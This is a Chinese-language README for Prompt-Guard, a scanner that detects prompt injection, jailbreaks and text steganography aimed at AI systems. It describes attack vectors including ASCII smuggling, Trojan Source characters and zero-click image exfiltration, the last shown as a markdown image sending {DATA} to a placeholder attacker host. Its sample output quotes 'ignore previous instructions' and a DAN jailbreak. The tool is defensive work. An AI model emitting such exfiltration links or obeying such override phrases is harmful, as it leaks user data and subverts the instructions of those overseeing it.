ElBecerril/Prompt-Guard

GitHub: ElBecerril/Prompt-Guard

这是一款用于检测 AI 系统中 prompt injection 攻击和文本隐写威胁的终端扫描器。

Stars: 0 | Forks: 0

``` ██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ████████╗ ██╔══██╗██╔══██╗██╔═══██╗████╗ ████║██╔══██╗╚══██╔══╝ ██████╔╝██████╔╝██║ ██║██╔████╔██║██████╔╝ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔═══╝ ██║ ██║ ██║ ██║╚██████╔╝██║ ╚═╝ ██║██║ ██║ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ██████╗ ██╗ ██╗ █████╗ ██████╗ ██████╗ ██╔════╝ ██║ ██║██╔══██╗██╔══██╗██╔══██╗ ██║ ███╗██║ ██║███████║██████╔╝██║ ██║ ██║ ██║██║ ██║██╔══██║██╔══██╗██║ ██║ ╚██████╔╝╚██████╔╝██║ ██║██║ ██║██████╔╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ``` **防范 prompt injection 攻击的第一道防线。** 扫描本地目录或 GitHub 仓库,检测针对 AI 系统的恶意模式、隐写隐藏信息和注入企图。 ## 快速开始 ``` pip install -r requirements.txt ``` ### 交互模式(推荐初学者使用) 直接运行而不带参数——或双击 `.exe` 文件: ``` python prompt_guard.py ``` 你会看到一个菜单,你可以在其中: 1. **扫描文件夹或 GitHub 仓库** —— 粘贴本地路径或 URL 2. **分析文本/prompt** —— 直接粘贴可疑文本以进行检查 ### CLI 模式(进阶) ``` # 扫描本地文件夹 python prompt_guard.py ./my-repo # 扫描 GitHub repo python prompt_guard.py https://github.com/user/repo # 附带选项 python prompt_guard.py ./my-repo --output report.json --verbose ``` ## 独立可执行文件 (.exe) 构建无需安装 Python 即可运行的便携版可执行文件: ``` pip install pyinstaller python build.py ``` 生成的 `dist/PromptGuard.exe` 可以直接分发,并支持双击运行。 ## 检测内容 | 严重程度 | 示例 | |---|---| | **CRITICAL** | 凭据外泄、系统 prompt 覆盖、prompt 泄露、通过模板化图片 URL 外泄数据 | | **HIGH** | 越狱(DAN 模式、开发者模式)、冒充、代码执行、工具/函数调用注入 | | **MEDIUM** | 隐蔽操纵、隐藏的 iframe/脚本、javascript: 链接、伪造对话角色 | | **LOW** | 保密指示(“不要告诉用户”、“en secreto”) | **隐写分析:** 首字母拼写、对角线模式、隐藏的 base64、零宽字符、Unicode Tags(ASCII 走私)、双向控制字符(Trojan Source)、Unicode 同形字、隐藏注释。 特别需要指出的三个攻击向量: - **ASCII 走私** —— 整个 prompt 编码在 Unicode Tags 块(`U+E0000`–`U+E007F`)中,渲染时完全不可见。扫描器会解码该 payload 并进行报告。 - **Trojan Source** —— 双向控制字符(`U+202A`–`U+202E`、`U+2066`–`U+2069`)会使源码的渲染效果与解析结果不一致(CVE-2021-42574)。 - **零点击图片外泄** —— `![](https://attacker/log?d={DATA})` 或等效的 `` 标签,仅仅渲染响应就会导致数据泄露。普通的纯外部图片不会被标记;只有模板化 URL 和携带数据的查询参数才会被标记。 检测模式支持**英语和西班牙语**。 ## 评分 每个文件都会获得一个 0 到 100 的分数: | 分数 | 级别 | 含义 | |---|---|---| | 0-10 | SAFE | 未检测到威胁 | | 11-40 | SUSPICIOUS | 存在歧义模式,需要人工审查 | | 41-70 | DANGEROUS | 明显的注入模式 | | 71-100 | CRITICAL | 存在多个高严重性模式 | ## CLI 选项 ``` python prompt_guard.py [options] source Local path or GitHub URL (required) -o, --output FILE Report filename (default: report.json) -v, --verbose Show all files, not just flagged ones -e, --extensions LIST Comma-separated extensions to scan -m, --max-size MB Max file size in MB (default: 1.0) -x, --exclude LIST Comma-separated files/dirs to exclude ``` ### 默认扩展名 `.md` `.txt` `.json` `.yaml` `.yml` `.py` `.html` `.htm` `.xml` `.csv` `.rst` `.toml` `.ini` `.cfg` `.conf` `.js` `.ts` `.jsx` `.tsx` `.sh` `.bat` `.ps1` ### 跳过的目录 `.git` `node_modules` `__pycache__` `.venv` `venv` `.tox` `.mypy_cache` `.pytest_cache` `dist` `build` ## CI/CD 集成 ``` python prompt_guard.py ./repo && echo "PASS" || echo "ALERT" ``` | 退出代码 | 含义 | |---|---| | `0` | 无相关发现 | | `1` | 中等严重性发现 | | `2` | 严重或高严重性发现 | ## 输出示例 ``` ____ _ ____ _ | _ \ _ __ ___ _ __ ___ _ __ | |_ / ___|_ _ __ _ _ __ __| | | |_) | '__/ _ \| '_ ` _ \| '_ \| __| | | _| | | |/ _` | '__/ _` | | __/| | | (_) | | | | | | |_) | |_ | |_| | |_| | (_| | | | (_| | |_| |_| \___/|_| |_| |_| .__/ \__| \____|\__,_|\__,_|_| \__,_| |_| First line of defense against prompt injection attacks by EL_Bcerril Scanning: ./my-repo Extensions: .json, .md, .py, .txt, .yaml, .yml Max file size: 1.0MB Files found: 12 ============================================================ SCAN RESULTS ============================================================ CRITICAL [score 100] docs/config.md L4 [CRITICAL] Override: ignore previous instructions L30 [CRITICAL] Base64-encoded content matches pattern L27 [HIGH ] DAN mode jailbreak attempt ------------------------------------------------------------ Total files scanned: 12 Files flagged: 1 Detections: 2 critical, 1 high, 0 medium, 0 low ------------------------------------------------------------ Report saved to: report.json ``` ## 架构 扫描器在单个文件内由 5 个内部模块组成: | 模块 | 职责 | |---|---| | **直接模式扫描器** | 基于 Regex 的检测,覆盖 4 个严重程度层级 | | **隐写分析** | 首字母拼写、对角线、base64、零宽字符、Unicode Tags、双向控制字符、同形字、隐藏注释 | | **输入源** | 本地目录遍历和 GitHub 浅克隆 | | **评分与报告** | 0-100 评分、分类、JSON 报告生成 | | **CLI 与交互** | 参数解析、交互式菜单、彩色输出 | ## 运行测试 ``` pip install -r requirements-dev.txt python -m pytest tests/ -v ``` ## 已知局限性 - 扫描 `prompt_guard.py` 本身会产生误报(符合预期——因为它包含了模式定义)。 - 像 `subprocess` 和 `eval()` 这样的模式可能会标记合法代码。请务必手动审查扫描结果。 - 暂不支持并行文件扫描。大型仓库会按顺序进行扫描。 - 这只是**第一道防线**。它仅分析文本内容,并不执行代码。始终建议对扫描结果进行人工审查。 ## 许可证 MIT
标签:DLL 劫持, Python, 云安全监控, 人工智能安全, 合规性, 大语言模型, 安全规则引擎, 文档结构分析, 无后门, 漏洞挖掘, 逆向工具, 静态分析